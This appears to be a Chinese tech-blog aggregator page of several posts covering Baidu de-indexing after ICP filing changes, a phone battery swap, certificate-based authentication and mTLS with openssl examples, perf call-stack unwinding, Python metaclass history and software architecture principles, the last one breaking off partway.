双十一的时候换了服务器,从一个马爸爸投奔另一个马爸爸,结果得罪了李爸爸,整站被K的只剩下一个页面了。当然这只是玩笑话,真正的原因还是因为备案问题,为达到备案要求修改了title和description,触到了搜索引擎的红线。所以面向百度的流量也就归零了。虽说写博客是给自己写着玩的,但是我的博文单纯的流水账还是比较少的,多少会对遇到过同类问题的人有所帮助,所以如果从互联网上消失了,那这个博客也就没有意义了。

当然我也不是说自己的博文有多大价值,只是比较赞同博客志上关于价值的描述:内容丰富有价值,原创性高。具体可以去点击博客志底部链接。当发现几乎整站被K的时候,犹豫了三两下,还是尝试抢救一下,所以本文将会是一个系列的头篇,暂定会每周更新一篇的频率,持续更新三个月,如果三个月后没有起色,那就是凉透了,自是无需抢救了。


言归正传,先来看下当前的排名

通过site语法可以看到目前西枫里博客在百度的展现页面只有两个,下图一所示。两个页面分别是一个不带www的主域名页面,一个search页面。这里要说明的是,本站的首页是带www的,不带www的主域名是301重定向到www域名的。下图二所示。另外,不同地区使用site语法得到的结果可能是不同的。

01.jpg

02.jpg


查询一下排名丢失的时间节点

这里利用一下5118的网站排名查询工具,下图一中可以很清楚的看到在11月6日百度的排名展示出现了断崖式下跌,而11月6日我做了什么呢?正好是我把服务器从阿里云切换到腾讯云,并在腾讯云重新做网站新增接入备案的时间点。下图二是我提交备案的时间记录。但如果单纯做备案会出现这种排名丢失的情况吗?当然我还得先说明一下,直观上这是排名丢失了,背后其实是百度收录丢了,也就是所谓被K页面了。

03.jpg

04.jpg


第一个为什么,为什么备案会导致收录下降?

有人会说是不是关站了导致的,很严肃的说没有关站,因为是做备案新增接入,所以是无需关站的,我阿里云服务器室11月11日到期,腾讯云是11月1日购买的,中途无缝迁移了整站数据。所以不存在关站的问题,关于什么是新增接入备案,可以参考我之前的博文:关于ICP备案你所不了解的那些事

排除关站这个因素之外,确实和备案有关,因为备案我改动了博客页面。正是因为修改了页面才会导致收录丢失,至于丢失的原因在后面的为什么里面解答。


第二个为什么,为什么要修改页面?

原因也很简单,因为备案需要合规,因为不合规所以才要修改。那不合规的内容是不是违法信息,再次很严肃的说当然没有,甚至擦边球的内容都没有,在阿里云做的备案,和在腾讯云做的备案,容忍尺度略有差异,但这也不是最重要的,因为当初阿里云做初始备案的时候是网站没上线的状态,所以上线后具体是啥内容,一般不违法也就没有人去管你传的是什么内容了。


第三个为什么,为什么不合规?

这里我直接就放一下第一次提交给腾讯备案资料,然后腾讯给拒的截图吧。我们来看一下里面的四点点内容,本站最受影响的其实是第三点,就是网站标签页名称与备案名称不符。备案名称“编程技术”,标签页名称“西枫里博客”。当然第一点里面的内容严格讲起来,在座的博客都不合规,因为个人性质的网站不得具有评论功能,但实际上在操作层面这个只要内容不违法,基本上也放行了。

05.jpg


第四个为什么,为什么修改页面会导致被K站?

这个我们去翻一下百度的搜索引擎白皮书,就能找到答案,在百度《索引量下降常见原因及解决方案》的文章中,有这么一段话:“某类url下的TD(网页title、description)变化,如变化比例大、变化页面量大,页面进行更改后会重走建索引库流程,如果页面质量达不到建索引库标准会从线上消失。”,并且这段内容是加粗显示的,如下图所示。所以很清楚了,我修改了title标签,导致百度索引认为该页面已经完全变掉了,需要重建索引,如文章质量不高,那这个索引可能就永远回不来了。

06.jpg


最后一个为什么,为什么百度需要重建索引?

这个问题比较深奥,搜索引擎的基本原理是爬取一个页面,将页面标题、描述和页面链接存进搜索引擎的索引库,当用户搜索内容的时候,搜索引擎会将索引库中复核要求的内容放出,而索引建立的依据通常包含了页面URL、title、keywords、description。所以这也是为什么做SEO都要强调这几个的原因。


好了,本文讲述了本站排名丢失的原因,下一期会讲“备案如何不影响收录”,敬请关注!


by 西枫里 at January 04, 2022 02:48 PM

pythoncat

我的 2021 年文章小结,翻译竟比原创多!

最近给自己放了两周的“长假”,刷视频、看小说、玩游戏,就是不写文章不更新公众号。
半途而废的事情令得 2021 年的时间流逝加快,最后留下只是遗憾和不甘。
又到了新的一年,按照惯例应该做一个年度小结了。
但是,虽然我早早就把 2021 年的文章罗列了一遍,却迟迟难以续笔。
如今已经过完了元旦,收拾好心情,还是得把开了头的篇章补完啊!
去年的这个时候,公众号读者数刚破 2 万,我那时给自己定了个小目标是今年达到 3.5 万。
然而,在过去一年里,我几乎没有为提升订阅数而多花心思,不参加互推,少数的几次赠书活动也基本只在读者群和朋友圈的小范围内进行。
照着去年的增长趋势,我估计把去年目标放到今年里面也还算是有不小的挑战了。
2021 年写作的文章少得可怜,这并不是因为我无话题可写,恰恰相反,我的写作计划/话题库本就丰富,在一年里又增加了不少。
新的一年里,可能需要重拾一种无知无畏的笨鸟精神了,去把那些任务完成掉。
2021 年里翻译了 12 篇文章。好几篇有超级长的篇幅,过程很花费精力,耗费的时间常常需要两周以上。
翻译了这么多篇,远超出自己原创的,这倒是超出了我的预期。
不过,在这一年里,我确实是挺享受在公交车和地铁上做着翻译的事,在那种摇晃的、拥挤的环境下,我竟然能够保持着专注,琢磨着遣词造句,真是难得的体验和收获。
新的一年里,继续写作与翻译,需要把数量增加上来,但求不像过去一年那样了,不要断层出很多的时间空白。
闲聊了这么多有的没的,主要是想找找写作的状态,把娱乐事项驱逐出思维空间。
那么,闲聊结束。
主要罗列一下去年口碑最佳的几篇文章吧:
这些文章在 Python 猫里也有着不错的阅读和互动,就像过去盘点的文章一样,既是一种回顾,也是给我未来创作方向的参考。
按照时间顺序,全年原创及翻译文章的清单:
在这些文章里,我重点推荐一下《博采 27 门语言之长,提升 Python 的能力》。原文被我放在收藏夹里真的是太久了,早几年前,我还没有写技术博客和翻译技术文章的习惯,万万想不到有一天能把它翻译出来,甚至一度都把它给忘掉了。
文章比较了 27 门主流编程语言的优秀特性,有助于我们开阔编程视野。
另外,Python 社区在 2021 年里最重要的事情之二就是:Guido 加入的香农计划、以及 CPython 对于移除 GIL 的新探索,推荐阅读:
最后,关联阅读往年小结:

January 04, 2022 12:00 AM

January 03, 2022

anji66

米6钉子户,更换电池再战2年。

前几天米12都发布了,雷布斯也在微博上亲手拔掉了一个米6钉子户,作为穷人的代表,米6的性能完全还没有到淘汰的地步,吃干榨净它成为我的唯一选项。话说我这米6也整整4个年头了,好像只有当年第一个手机NOKIA才用过这么长时间,去年将运存从4G升到8G,把系统从MIUI11升级到MIUI12以后,越发不舍得换手机了。之前的帖子可以点击这里查看。最近网上又有报大佬将MIUI13移植到米6上了,过段时间看看能不能折腾一下。

这不冬天了,电池续航持续下降,工作时间要是有一两个电话会议,下午一两点就没电了,早上是满电出门的。由此联想开来,实在想不通这年头怎么会有人买电动汽车,如果没有沪牌赠送,买电动车的是不是人(sha)才(que)?言归正传,选个米6的电池,原装电池是国内大佬飞毛腿代工的,某东买个飞毛腿的就完事了,链接在这里。优惠啥的下来60几块钱到手。

01.jpg

▲3130mAh的额定容量,一天够用了。

第一步,拆后盖

买电池附赠了拆机工具,用吸盘拉后盖角,我的手机已经被拆过两回了,很好处理,如果从没被拆过的,请用热风枪吹一下软化封胶,没有热风枪那吹风机有没有?

02.jpg

拉出一条缝隙后,用撬棒卡进去,四周划拉一圈就完事,胆大心细,四两拨千斤,无他

03.jpg


第二步,取下原装电池

揭开贴在电池上面的黑色胶纸,不知道啥作用,我的是换过电池的,所以这个被揭过,一扯就开。然后揭开背胶的两端,框线所示。尝试用螺丝刀直接卷背胶,此图错误示范,应为被我卷断了。

04.jpg

05.jpg

06.jpg

原本想偷懒的,不想拆下面的小板,直接拉背胶,没成功,老实的把下面的小板改给拆了,螺丝就这些。

07.jpg

取下小板盖后,就得拉背胶了,因为我的被拉断了,所以我是暴力撬电池的,撬出缝隙后用镊子把背胶重新扯出来。撬电池如果不放心手机记得提前放电,我这种拆东西自信爆棚的人没考虑。

08.jpg


第三步,装上新电池

背胶拆掉电池就能翻起来了,才看到电池接触脚被主板上盖压在下面,不得已还得拆上盖,这是我装好电池后补拍的一张螺丝位置图,拆的时候忘拍了。

09.jpg

10.jpg

装回主板上盖和小板上盖,贴上黑色胶贴,开机测试一下

11.jpg


第四步,装上后盖完工

把后台和手机侧边密封胶清理一下,合上后盖,对了,一但拆过你的手机就完全不防水了。另外如果你自己没有密封胶的话,那原长密封胶没用弄脏没有搞成一大坨的话,不清理直接扣上后盖还能继续起作用。

我写的比较粗糙,想动手的另有笛大佬的文章可供参考,链接在这里

by 西枫里 at January 03, 2022 02:41 PM

January 02, 2022

coolshell

网络数字身份认证术

这篇文章是《HTTP API 认证授权术》的姊妹篇,在那篇文章中,主要介绍了 HTTP API 认证和授权技术中用到的 HTTP Basic, Digest Access, HMAC, OAuth, JWT 等各种方式,主要是 API 上用到的一些技术,这篇文章主要想说的是另一个话题——身份认证。也就是说,怎么确认这个数据就是这个人发出来的?

用户密码

要解决这个问题,我们先来看一个最简单的解——使用密码,通常来说,在网络上要证明一个人的身份的话,都需要这个人的一些私密而唯一的东西。比如,像密码这样的东西,很多地方,只要你提供了你的用户名+密码,就可以确定这个人是你(注明:关于密码管理,强密码设定,密码泄漏,密码破解以及密码哄骗不在这篇文章的话题中),也就是说,这个密码是非常私密的事,我们可以假设,这个事全世界只能有当事人一个人知道,所以,当事人得供正确的密码,我们就可以认证这个人了。

为了加强密码的安全程度,一般会使用 2FA(Two-factor authentication)或 MFA(Multi-factor authentication),双因认证或多因认证,这需要用户提供一个唯一的可信设备,比如用户的手机,然后通过验证手机短信,或是像 Google Authenticator  这样的动态口令来完成。这样的安全级别已经算是比较高了。如果能够再加上经常性的变更密码,那么安全级别就更好了。

另外,一些公司还使用了生物密码来进行用户的身份验证,比如人脸识别。但是,我个人觉得人脸识别或是生物识别是比较糟糕的方式,因为:

  • 目前能被验证的生物信息(如人脸和指纹)太容易被别人获得和伪造了。
  • 这样东西不能被变更和吊销,密码可以被吊销和重置,人脸则不能。

密钥对和证书

密码可以解决身证认证的问题有很多问题,最重要的一个问题就是,你要把你的密码提供给对方,对方才能验证你的身份。你不可能把你的密码提供给全世界的人吧,这样的话,全世界的人都有你的密码了,那么任何人都能变成你了。所以,用户密码这个事只能存在于权威机构和普通用户之间,不能存在于普遍应用中。所以,这里需要使用更好的解决方案。

使用 ECC(Elliptic-Curve Cryptography)椭圆曲线密码术,可以通过一个“密钥对”进行非对称加密。这种技术,在对信息进行加密和解密时,使用两个不同的密钥,其中一个用来做加密,另一个做解密。这样一来,我们就可以把其中一个密钥公布出去,称之为公钥,另一个密钥私密地保管好,称之为私钥。

比如,我用我的私钥加密信息,然后,我把这个私钥所配对的公钥发布给所有人,大家都用公钥解密信息,不用我的公钥你解密不了这个信息。这样一来,就可以保证这个信息是我发出来的,不但保证了信息安全,还完成了身份认证。

这样的现实案例一般用于网站,也就是用户得要知道我访问的这个网站是真实的,不是别人做的。因为 DNS 很容易被 hack,你连上一个不可信的网络,这个网络里的 DNS 把这个网站的 IP 地址解析成什么 就是什么了。但是有了这个加密的机制后,网站把自己的信息加密后连同公钥给到访问者,访问解密后就知道是不是这个网站了。

但是,这里还是会有一个很严重的问题,那就是中间人攻击。如下图所示:

中间人 Chad 把自己伪装成 Bob 向 Alice 要信息,然后,再伪装成 Alice 对 Bob 说,这就是 Alice 的公钥,于是 Bob 也无法验证是不是 Alice 的公钥,因为公钥里就是一堆乱七八糟的数据,我们完全不能分辨哪个公钥属于 Alice 的。试想,如果我们收到声称属于银行的密钥。我们怎么知道它确实属于你的银行?

这里的答案就是使用数字证书。证书跟我们的身份证非常类似,其需要一个可信机构来颁发和验证的。这个证书机构 CA(Certificate Authority)是一个是大家都相信的权威机构,他用他的人品保证(当然一般会被严格管理和审计),CA 机构同样使用这样的非对称加密的技术来完成颁发和验证的事。下图展示了这一过程。

说明一下上面这个图:

  1. 为了解决公钥认证的问题的,我们需要一个权威的CA 机构。
  2. Alice 把自己的信息(姓名、组织,地址,电邮,网址等)和自己的公钥打包成一个 CSR 的文件,发给 CA 机构,
  3. CA 机构会来找 Alice 做物理世界的认证,如果通过后,就会用自己的机构私钥,把CSR 变成一个签名证书。
  4. Bob 同学拿到 Alice 的证书,用 CA 机构的公钥解密后,得到 Alice 的公钥
  5. 后面就可以签证 信息是否来自 Alice 了。

是的,这个过程就是在“套娃”,这种证书机构还可以给下级的证书机构发证,于是就会一层套一层地,形成一个证书链,顶层的叫根证书,你得绝对信任之。对于验证证书真实性的客户端,它需要能够验证链中所有 CA 的签名,这意味着客户端需要访问链中所有 CA 的证书。

证书生成过程演示

并不是所有的场景都需要向这些大型的 CA 机构申请公钥证书,在任何一个企业,组织或是团体内都可以自己形这样的“小王国”,也就是说,你可以自行生成这样的证书,只需要你自己保证自己的生成证书的私钥的安全,以及不需要扩散到整个互联网。下面,我们用 openssl命令来演示这个过程。

1)生成 CA 的证书(公钥) ca.crt 和私钥 ca.key

openssl req -newkey rsa:2048 \
    -new -nodes -x509 \
    -days 365 \
    -out ca.crt \
    -keyout ca.key \
    -subj "/C=SO/ST=Earth/L=Mountain/O=CoolShell/OU=HQ/CN=localhost"

2)  生成 alice 的私钥

openssl genrsa -out alice.key 2048

3)生成 Alice 的 CSR – Certificate Signing Request

openssl req -new -key alice.key 365 -out alice.csr \
    -subj "/C=CN/ST=Beijing/L=Haidian/O=CoolShell/OU=Test/CN=localhost.alice"

4)使用 CA 给 Alice 签名证书

openssl x509  -req -in alice.csr \
    -extfile <(printf "subjectAltName=DNS:localhost.alice") \ 
    -CA ca.crt -CAkey ca.key  \
    -days 365 -sha256 -CAcreateserial \
    -out alice.crt

双向认证 mTLS

上面,我们说的基本上都是单向认证,大量的场景都是确保用户方访问的是真正的服务方,如:银行,电商网站,等。这样可以保证用户不会被钓鱼网站或是中间人攻击。但是,很多时候,我们也是需要双向认证的。下面是一个典型的场景——微信支付和商户间交互

  • 用户到商家那边买东西,商家要求用户进行支付。
  • 用户选择了微信支付,于是,界面从商户侧切到了微信侧
  • 微信那边支付完成后,商户这边收到微信那边支付完成的通知,于是开始发货。

这个过程中有件事非常重要——就是微信通知商户支付完成的时候。

  • 微信得确保通知到的就是用户所支付商户,而不是别个。
  • 商户也得要能确认,来通知我的就是微信,不是别人。

一般来说,微信会给商户一个 AppID和一个 AppSerct,用这个来确保是我认证过的商户来调用我,然后,需要商户在自己的系统里填一个回调的 URL,并通过平台设置的 key来做 MD5/HMAC的签名来确保是官方的回调。这都是在《HTTP API 认证授权术》中提到过的技术,是相对传统的技术。

如今,mTLS是确保云原生应用程序中服务之间的通信安全的首选协议。 也就是双向认证。

传统的 TLS 认证过程是:

  1. 客户端连接到服务器
  2. 服务器提供其 TLS 证书
  3. 客户端验证服务器的证书
  4. 客户端和服务器通过加密的 TLS 连接交换信息

在 mTLS 中,客户端和服务器都有一个证书,双方都使用他们的公钥/私钥对进行身份验证。与常规 TLS 相比,mTLS 中有额外的步骤来验证双方(以粗体显示的额外步骤):

  1. 客户端连接到服务器
  2. 服务器提供其 TLS 证书
  3. 客户端验证服务器的证书
  4. 客户端出示其 TLS 证书
  5. 服务器验证客户端的证书
  6. 服务器授予访问权限
  7. 客户端和服务器通过加密的 TLS 连接交换信息

mTLS 需要“根”TLS 证书;这我们自己来完成证书颁发机构的职责。授权客户端和服务器使用的证书必须与此根证书相对应。根证书是自签名的,这意味着我们需要自己创建它。(注:此方法不适用于公共 Internet 上的单向 TLS,因为外部证书颁发机构必须颁发这些证书)

那么,为什么整个互联网上都用了 TLS 了,为什么 不升级一下使用 mTLS?这里有两方面的原因:

  • 公共互联网上要解决的问题是:A) 确保用户访问到的是正确的网站,而不是钓鱼网站。B)网站传输的内容是安全和私密且不会被篡改的。
  • 将 TLS 证书分发到所有最终用户设备将非常困难。生成、管理和验证为此所需的数十亿个证书几乎是不可能的任务。

在较小的范围内,mTLS 对于单个组织非常有用且非常实用,尤其是当这些组织采用零信任方法来确保网络安全时。由于默认情况下零信任方法不信任任何用户、设备或请求,因此组织必须能够在每次尝试访问网络中的任何点时对每个用户、设备和请求进行身份验证。mTLS 通过对用户进行身份验证和设备验证来帮助实现这一目标。

关于 mTLS,这里有一个我用 Golang 写的示例 – https://github.com/haoel/mTLS,大家可以参考一下。

P.S. 本文图版中的卡司来自安全圈的标准 Cast,参看 Alice and Bob

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 网络数字身份认证术 first appeared on 酷 壳 - CoolShell.

by 陈皓 at January 02, 2022 08:38 AM

December 30, 2021

anji66

二换科鲁兹前照灯灯泡

2021年剩最后一天了,给博客除个草算是作别过去的一年,迎接2022年的到来。上海入秋以后那几天阴雨绵绵,下班后路上都看不清,忍了很久的蜡烛灯,早些年没上氙气灯怕电路吃不消,这几年LED的大发展,终于可以用一个安全的方式升级灯光了。这是第二次更换前大灯灯泡,第一次是好几年前将原车的卤素等换成了欧司朗的夜行者,发现作用不是很大。这次买了飞利浦的LED。

01.jpg


灯泡规格

原车是H4的双丝卤素灯泡,额定功率55W,我在某宝某东搜索,想买55W的LED,发现都是杂牌,大牌货都只有22W,就选了个飞利浦的星耀光3000,6500K色温的LED,6500K的色温就是惨白光了,亮度好,致命缺陷就是穿透力太低,雾天就是残废,不过好歹我原车有前雾灯,所以也就无所谓了。

02.jpg


更换步骤

1、先取下灯碗防尘罩,先拔掉插头,需要用点力,然后将皮罩子用力拽下来

03.jpg

2、将LED灯泡的黑色卡扣取下来卡进皮罩子中,去卡扣需要旋转一个角度一拔就下来了

04.jpg

3、取掉原车H4灯泡,里面有个金属卡扣捏住以后往外拨弄一下就好了,网上一大堆教程就不说了

4、将LED灯泡从皮罩子后面插进去,卡进黑色卡扣,固定在皮罩子上,然后放进灯碗固定

5、另一侧防尘罩后面有雨刮注水口不好操作,要先把注水口拔下来,然后在重复之前的动作

06.jpg

05.jpg

效果验证

天黑找面墙或者暗一点的地库,测试一下远光和近光的效果,没有问题就手工,完成

07.jpg

08.jpg

by 西枫里 at December 30, 2021 02:07 PM

December 22, 2021

gaomf

使用 perf 进行性能分析时如何获取准确的调用栈

perf 是 Linux 下重要的性能分析工具,perf 可以通过采样获取很多性能指标,其中最常用的是获取 CPU Cycles,即程序各部分代码运行所需的时间,进而确定性能瓶颈在哪。不过在实际使用过程中发现,简单的使用perf record -g 获取到的调用栈是有问题的,存在大量 [Unknown] 函数,从 perf report 的结果来看这些部分对应地址大部分都是非法地址,且生成的火焰图中存在很多明显与代码矛盾的调用关系。

最初怀疑是优化级别的问题,然而尝试使用 OgO0 优化依然存在此问题,仔细阅读 perf record 的手册后发现,perf 同时支持 3 种栈回溯方式:fp, dwarf, lbr,可以通过 --call-graph 参数指定,而 -g 就相当于 --call-graph fp.

栈回溯方式

fp 就是 Frame Pointer,即 x86 中的 EBP 寄存器,fp 指向当前栈帧栈底地址,此地址保存着上一栈帧的 EBP 值,具体可参考此文章的介绍,根据 fp 就可以逐级回溯调用栈。然而这一特性是会被优化掉的,而且这还是 GCC 的默认行为,在不手动指定 -fno-omit-frame-pointer 时默认都会进行此优化,此时 EBP 被当作一般的通用寄存器使用,以此为依据进行栈回溯显然是错误的。不过尝试指定 -fno-omit-frame-pointer 后依然没法获取到正确的调用栈,根据 GCC 手册的说明,指定了此选项后也并不保证所有函数调用都会使用 fp…… 看来只有放弃使用 fp 进行回溯了。

dwarf 是一种调试文件格式,GCC 编译时附加的 -g 参数生成的就是 dwarf 格式的调试信息,其中包括了栈回溯所需的全部信息,使用 libunwind 即可展开这些信息。dwarf 的进一步介绍可参考 “关于DWARF”,值得一提的是,GDB 进行栈回溯时使用的正是 dwarf 调试信息。实际测试表明使用 dwarf 可以很好的获取到准确的调用栈。

最后 perf 还支持通过 lbr 获取调用栈,lbr 即 Last Branch Records,是较新的 Intel CPU 中提供的一组硬件寄存器,其作用是记录之前若干次分支跳转的地址,主要目的就是用来支持 perf 这类性能分析工具,其详细说明可参考 “An introduction to last branch records” & “Advanced usage of last branch records”。此方法是性能与准确性最高的手段,然而它存在一个很大的局限性,由于硬件 Ring Buffer 寄存器的大小是有限的,lbr 能记录的栈深度也是有限的,具体值取决于特定 CPU 实现,一般就是 32 层,若超过此限制会得到错误的调用栈。

测试

实际测试下以上 3 种栈回溯方式得到的结果,测试程序是一个调用深度为 50 的简单程序,从 f0() 依次调用至 f50()

--call-graph fp

--call-graph lbr

--call-graph dwarf

可以看到,的确只有 dwarf 获取到了正确的调用栈。

总结

优点缺点
fpNone1. 默认 fp 被优化掉了根本不可用。
lbr1. 高效准确1. 需要较新的 Intel CPU 才有此功能;2. 能记录的调用栈深度有限。
dwarf1. 准确1. 开销相对较大;2. 需要编译时附加了调试信息。

参考资料:

perf Examples

December 22, 2021 03:18 PM

pythoncat

Python 的元类设计起源自哪里?

一个元老级的 Python 核心开发者曾建议我们( 点击阅读),应该广泛学习其它编程语言的优秀特性,从而提升 Python 在相关领域的能力。在关于元编程方面,他的建议是学习 Hy 和 Ruby。但是,他也提到,他并不知道学习哪种语言,可以加深对 Python 元类设计的理解。
这其实意味着,Python 的元类设计有着很大的原创性,并非借鉴自哪种语言的成熟设计!
既然不是从其它语言中学习来的,那么,Python 的元类思想到底起源自哪里呢?Guido 不会是“无中生有”开创出来的设计吧?
下面的一篇译文,作者是 Guido van Rossum(Python 之父),原文写于 2013 年 10 月,正是要回答 Python 元类的起源问题:

原文:Origin of metaclasses in python

译者:豌豆花下猫@Python猫

声明:本翻译是出于交流学习的目的,基于 CC BY-NC-SA 4.0 授权协议。为便于阅读,内容略有改动,所有图片皆为译者所加。

python-ideas 上有人猜测 Python 的元类设计是起源自 Ruby。事实并非如此。既然是关于语言特性的起源,我觉得我有必要来澄清下事实。
关于元类,我并没有受过 Ruby 的启发(今后也不会)。事实上,Ruby 受到过 Python 的启发。Mats 曾经告诉我,他的灵感有 20% 来自 Python,有 80% 来自 Perl,而且 Larry Wall 是他心目中的英雄。
(译注:Larry Wall 是 Perl 语言之父。他曾在 2014 年访华,《程序员》杂志做过一期专访,推荐一读 。)
我在 1998 年写过关于 Python 元类的文章
(作者注:那篇 1998 年的文章里包含了一个功能完整的 Enum 实现,它有许多与 PEP-435 相同的特性。)
新式类只是这个想法的第二或第三次迭代物。
我实现新式类的灵感来自于一本书,即 Ira Forman 和 Scott Danforth 写的《Putting Metaclasses to Work》。
但即便是在 Python 最初的设计中(1990 年,发布于 1991 年),类型(type)本身就是一个对象。任何对象中的类型指针总是指向一个特殊对象,该对象的“数据”是一堆实现其它对象行为的 C 函数指针,类似于 C++ 的虚函数表。
一个类型的类型始终是一个特殊的类型对象(The type of a type was always a special type object),你可以将其称为元类型(meta-type),因为它是自己的类型。
当时我对 Smalltalk 只有模糊的了解;当我后来读到它的元类设计时,我感到很惊讶,因为它与 Python 或 Ruby 中的元类有很大的不同!
但是,Smalltalk 的字节码对 Python 的字节码影响很大。我在 Adele Goldberg 和其他人的一本书中读到过,好像是《Smalltalk-80: The Language and its Implementation》。
(译文完)
以上文章出自 Guido 的《The History of Python》系列,该系列主要是关于 Python 语言及社区的发展历史。我曾翻译过该系列的最新一篇《pgen 解析器的起源》,曾打算把其它文章也陆续翻译出来……(只是曾)……
巧合的是,就在本文刚译完而查资料时,我无意中发现有人在 2019 年上半年已经把该系列翻译出来了(他翻译了 25 篇,正好不含我所译的最新一篇)!这些译文,我竟然一直从未阅读过!
该译者也有公众号,我好奇翻看了一些文章,发现不少的阅读量只有 10 几个!看来那位译者是没有怎么花心思运营啊,纯粹是当做了一种学习兴趣,默默做事,不求掌声。
所以,如果你对 Python 历史相关内容感兴趣的话,我诚心推荐你关注“ReadingPython”,查看其历史文章。(另外,该译者正在译《Python behind the scenes》系列,这也是我的翻译计划之一,而且实际已经把一篇 1.4 万字的译了一半后就搁置了好几个月……)

December 22, 2021 12:00 AM

December 21, 2021

coolshell

我做系统架构的一些原则

工作 20 多年了,这 20 来年看到了很多公司系统架构,也看到了很多问题,在跟这些公司进行交流和讨论的时候,包括进行实施和方案比较的时候,都有很多各种方案的比较和妥协,因为相关的经历越来越多,所以,逐渐形成了自己的逻辑和方法论。今天,想写下这篇文章,把我的这些个人的经验和想法总结下来,希望能够让更多的人可以参考和借鉴,并能够做出更好的架构来。另外,我的这些思维方式和原则都针对于现有市面上众多不合理的架构和方案,所以,也算是一种“纠正”……(注意,这篇文章所说的这些架构上的原则,一般适用于相对比较复杂的业务,如果只是一些简单和访问量不大的应用,那么你可能会得出相反的结论)

原则一:关注于真正的收益而不是技术本身

对于软件架构来说,我觉得第一重要的是架构的收益,如果不说收益,只是为了技术而技术,而没有任何意义。对于技术收益来说,我觉得下面这几个收益是非常重要的:

  • 是否可以降低技术门槛加快整个团队的开发流程。能够加快整个团队的工程流程,快速发布,是软件工程一直在解决的问题,所以,系统架构需要能够进行并行开发,并行上线和并行运维,而不会让某个团队成为瓶颈点。(注:就算拖累团队的原因是组织构架,也不妨碍我们做出并行的系统架构设计)
  • 是否可以让整个系统可以运行的更稳定。要让整个系统可以运行的更为的稳定,提升整个系统的 SLA,就需要对有计划和无计划的停机做相应的解决方案(参看《关于高可用的架构》)
  • 是否可以通过简化和自动化降低成本。最高优化的成本是人力成本,人的成本除了慢和贵,还有经常不断的 human error。如果不能降低人力成本,反而需要更多的人,那么这个架构设计一定是失败的。除此之外,是时间成本,资金成本。

如果一个系统架构不能在上面三个事上起到作用,那就没有意义了。

原则二:以应用服务和 API 为视角,而不是以资源和技术为视角

国内很多公司都会有很多分工,基本上都会分成运维和开发,运维又会分成基础运维和应用运维,开发则会分成基础核心开发和业务开发。不同的分工会导致完全不同的视角和出发点。比如,基础运维和开发的同学更多的只是关注资源的利用率和性能,而应用运维和业务开发则更多关注的是应用和服务上的东西。这两者本来相关无事,但是因为分布式架构的演进,导致有一些系统已经说不清楚是基础层的还是应用层的了,比如像服务治理上的东西,里面即有底层基础技术,也需要业务的同学来配合,包括 k8s 也样,里面即有底层的如网络这样的技术,也有需要业务配合的 readniess和 liveness 这样的健康检查,以及业务应用需要 configMap 等等 ……

这些东西都让我感觉到所谓 DevOps,其实就是因为很多技术和组件已经分不清是 Dev 还是 Ops 的了,所以,需要合并 Dev和 Ops。而且,整个组织和架构的优化,已经不能通过调优单一分工或是单一组件能够有很大提升的了。其需要有一种自顶向下的,整体规划,统一设计的方式,才能做到整体的提升(可以试想一下城市交通的优化,当城市规模到一定程度的时候,整体的性能你是无法通过优化几条路或是几条街区来完成的,你需要对整个城市做整体的功能体的规划才可能达到整体效率的提升)。而为了做到整体的提升,需要所有的人都要有一个统一的视角和目标,这几年来,我觉得这个目标就是——要站在服务和 对外API的视角来看问题,而不是技术和底层的角度。

原则三:选择最主流和成熟的技术

技术选型是一件很重要的事,技术一旦选错,那会导致整个架构需要做调整,而对架构的调整重来都不是一件简单的事,我在过去几年内,当系统越来越复杂的时候,用户把他们的  PHP,Python, .NET,或 Node.js 的架构完全都迁移到 Java + Go 的架构上来的案例不断的发生。这个过程还是非常痛苦的,但是你没有办法,当你的系统越来越复杂,越来越大时,你就再也不能在一些玩具技术上玩了,你需要的更为工业化的技术。

  • 尽可能的使用更为成熟更为工业化的技术栈,而不是自己熟悉的技术栈。 所谓工业化的技术栈,你可以看看大多数公司使用的技术栈,比如:互联网,金融,电信……等等 ,大公司会有更多的技术投入,也需要更大规模的生产,所以,他们使用的技术通常来说都是比较工业化的。在技术选型上,千万不要被——“你看某个视频公司也在用这个技术”,或是一些在论坛上看到的一些程序员吐槽技术的观点(没有任何的数据,只有自己的喜好)来决定自己的技术,还是看看主流大多数公司实际在用的技术栈,会更靠谱一些。
  • 选择全球流行的技术,而不是中国流行的技术。技术这个东西一定是一个全球化的东西,不是一个局域化的事。所以,一定要选国际化的会更好。另外,千万不要被某些公司的“特别案例”骗过去了,那怕这个案例很性感,关键还是要看解决问题的思路和采用的技术是否具有普世性。只有普世性的技术有更强的生命力。
  • 尽可能的使用红利大的主流技术,而不要自己发明轮子,更不要魔改。我见过好些个公司魔改开源软件,比如有个公司同魔改mesos,最后改着改着发现自己发明另一个 kubernetes。我还见过很多公司或技术团队喜欢自己发明自己的专用轮子,最后都会被主流开源软件所取代。完全没有必要。不重新发明轮子,不魔改,不是因为自己技术不能,而是因为,这个世界早已不是自己干所有事的年代了,这个时代是要想尽方法跟整个产业,整个技术社区融合和合作,这样才会有最大的收益。那些试图因为某个特例需要自成一套的玩法,短期没问题,但长期来说,我都不看好。
  • 绝大多数情况下,如无非常特殊要求,选 Java基本是不会错的。一方面,这是因为 Java 的业务开发的生产力是非常好的,而且有 Spring 框架保障,代码很难写烂,另外,Java 的社区太成熟了,你需要的各种架构和技术都可以很容易获得,技术红利实在是太大。这种运行在JVM上的语言有太多太多的好处了。在 Java 的技术栈上,你的架构风险和架构的成本(无论是人力成本,时间成本和资金成本)从长期来说都是最优的

在我见过的公司中,好些公司的架构都被技术负责人个人的喜好、擅长和个人经验给绑架了,完全不是从一个客观的角度来进行技术选型。其实,从 0 到 1 的阶段,你用什么样的技术都行,如果你做一个简单的应用,没有事务处理没有复杂的交易流程,比如一些论坛、社交之类的应用,你用任何语言都行。但是如果有一天你的系统变复杂了,需要处理交易了,量也上来了,从 1 到 10,甚至从 10 到 100,你的开发团队也变大了,需要构建的系统越来越大,你可能会发现你只有一个选择,就是 Java。想想京东从.NET 到 Java,淘宝从 PHP 到 Java……

注,一些有主观喜好的人一定会对我上述对 Java 的描述感到不适,我还用一些证据说明一下——全中国所有的电商平台,几百家银行,三大电信运营商,所有的保险公司,劵商的系统,医院里的系统,电子政府系统,等等,基本都是用 Java 开发的,包括 AWS 的主流语言也是 Java,阿里云一开始用 C++/Python 写控制系统,后面也开始用 Java ……你可能会说 B站是用 go语言,但是你可能不知道 B 站的电商和大数据是用 Java……懂着数据分析的同学,建议上各大招聘网站上搜一下 Java 的职位数量,你就知道某个技术是否主流和热门……

原则四:完备性会比性能更重要

